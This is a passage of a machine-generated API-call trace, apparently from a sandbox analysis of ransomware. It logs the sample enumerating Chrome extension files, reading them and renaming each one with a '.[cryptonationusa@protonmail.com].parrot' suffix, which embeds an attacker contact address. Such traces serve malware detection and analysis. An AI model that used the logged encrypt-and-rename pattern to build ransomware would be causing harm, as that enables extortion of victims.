data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.412] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.412] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.412] ReadFile (in: hFile=0x274, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0072.413] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.413] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0xa0, lpOverlapped=0x0) returned 1 [0072.413] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.413] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.413] CloseHandle (hObject=0x274) returned 1 [0072.414] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.420] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0072.420] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828a32c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8a3fda0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8a3fda0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.422] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828a80e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828aa7f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8935400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x113f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="flapper.gif.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="FLAPPE~1.PAR")) returned 1 [0072.423] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x642, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.423] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.423] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0072.424] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.425] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x52a, lpOverlapped=0x0) returned 1 [0072.425] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.425] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x642, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.425] CloseHandle (hObject=0x27c) returned 1 [0072.426] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.428] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0072.430] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.430] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82665710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828836f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828836f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.430] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.430] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.430] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8266a530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8266f350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8266f350, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0072.430] lstrcmpW (lpString1="bg", lpString2=".") returned 1 [0072.430] lstrcmpW (lpString1="bg", lpString2="..") returned 1 [0072.430] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.430] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.430] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8266a530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8266f350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8266f350, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.433] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.433] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.433] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8266f350, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8266f350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aab310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x376, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.439] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x48e, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.439] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.439] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.441] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.441] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x376, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x376, lpOverlapped=0x0) returned 1 [0072.441] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.442] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x48e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.442] CloseHandle (hObject=0x28c) returned 1 [0072.442] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.445] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.445] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8266a530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8a8c060, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8a8c060, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.445] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8266f350, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8266f350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8a8c060, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x498, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.445] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.445] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.445] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82676880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8267ddb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8267ddb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.445] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.445] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.445] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8267ddb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8267ddb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aab310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.446] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3d9, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.446] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.446] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.447] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.448] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2c1, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x2c1, lpOverlapped=0x0) returned 1 [0072.448] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.448] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3d9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.448] CloseHandle (hObject=0x28c) returned 1 [0072.448] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.450] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.450] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82676880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8ab21c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8ab21c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.450] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8267ddb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8267ddb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8ab21c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.451] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.451] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.451] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826a0090, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826a27a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826a27a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.451] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.451] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.451] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826a27a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826a4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x297, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.452] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3af, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.452] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.452] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.454] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.454] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x297, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x297, lpOverlapped=0x0) returned 1 [0072.454] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.454] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3af, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.454] CloseHandle (hObject=0x28c) returned 1 [0072.454] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.456] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.456] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826a0090, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8ab21c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8ab21c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.456] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826a27a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826a4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8ab21c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.457] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.457] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.457] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ac3e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826b1200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826b1200, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.457] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.457] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.457] 